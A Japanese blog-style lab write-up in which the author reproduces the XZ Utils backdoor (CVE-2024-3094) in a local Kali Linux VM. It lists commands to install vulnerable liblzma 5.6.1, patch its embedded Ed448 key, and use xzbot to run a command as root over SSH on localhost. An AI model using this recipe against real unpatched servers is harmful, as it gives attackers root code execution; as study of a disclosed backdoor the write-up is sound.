XZ Utilsの脆弱性を試してみた
ファイルの圧縮・解凍を行うツールであるXZ Utilsにバックドアが仕込まれていた問題(CVE-2024-3094)。
脆弱性の概要や詳細は以下が一番わかりやすくまとめられていると思う。
liblzmaはxzのライブラリでsshから使用されるため、悪用された場合は外部の攻撃者からリモートでコード実行される危険性がある。
今回は脆弱性の理解を深めるために、いくつかのサイトを参考にして仮想環境でバックドアを実行してみた。
手順
仮想環境の構築
脆弱性を試すため仮想マシンを構築する。基本的には以下サイトの通りに進める。
まずは https://www.kali.org/get-kali/#kali-virtual-machines からQEMU用のKali Linuxを取得して解凍する。virt-managerをインストールして実行する。
7z x ./kali-linux-2024.1-qemu-amd64.7z
sudo apt install virt-manager
sudo virt-manager &
"FILE"タブから"New Virtual Machine"を実行。"Import existing disk image"を選び、ストレージに先程解凍したqcow2形式のkali linuxを選択する。OSはとりあえずDebian 12にして、メモリは4GB, CPUは4で構築を行った。
仮想マシンでの準備
上で建てた仮想マシンを起動する。デフォルトだとKali Linuxのユーザ名/パスワードはどちらもkali。
脆弱性のあるliblzmaは5.6.0, 5.6.1で、今回は5.6.1のliblzmaをダウンロードする。
wget https://snapshot.debian.org/archive/debian/20240328T025657Z/pool/main/x/xz-utils/liblzma5_5.6.1-1_amd64.deb
SSH処理時間の比較
先に脆弱性のないliblzmaでsshの処理時間を測定しておく。ちなみにデフォルトのxz, liblzmaは5.4.5だった。
# パスワードによるSSHログインを無効化
sudo sed -E -i 's/^#?PasswordAuthentication .*/PasswordAuthentication no/' /etc/ssh/sshd_config
sudo systemctl restart ssh
time ssh nonexistant@localhost
次に脆弱なliblzmaにアップグレードしてから、同じように処理時間を測定する。
sudo apt-get install --allow-downgrades --yes ./liblzma5_5.6.1-1_amd64.deb
sudo systemctl restart ssh
time ssh nonexistant@localhost
実行環境によって差はあると思うが、バックドアがあるバージョンでは明らかに処理に時間がかかっている。
RCEを試してみる
バックドア実行には、まずペイロードを攻撃者のEd448秘密鍵で暗号化する。これをSSH認証中に公開鍵としてサーバに送付し、サーバ側でプログラムにハードコードされたEd448公開鍵で復号してペイロードを実行する。つまり本来であればEd448秘密鍵をもつ攻撃者以外はバックドアを利用できないと考えられる。
そこで以下のパッチではハードコードされた公開鍵を、Seed=0で生成できる公開鍵で上書きすることによってペイロード実行を可能にしている。
このパッチを使ってRCEを試してみる。
# xzbotのインストール
sudo apt install golang-go
go install github.com/amlweems/xzbot@latest
sudo cp /home/kali/go/bin/xzbot /usr/local/bin
# liblzma.soへのパッチ適用
sudo pip3 install pwntools
git clone https://github.com/amlweems/xzbot.git
cd xzbot
sudo python3 ./patch.py /usr/lib/x86_64-linux-gnu/liblzma.so.5.6.1
sudo systemctl restart ssh
# RCEのテスト
xzbot -addr 127.0.0.1:22 -cmd 'id > /tmp/id'
バックドア実行によって、root権限でRCEを行えることが確認できた。
参考
↑バックドアの概要についてはこのサイトもわかりやすかった。
↑liblzmaコンパイル時にどのようにバックドアが仕込まれたかをソースコードから解説している。まだ全部読めていないのでいずれ目を通したい。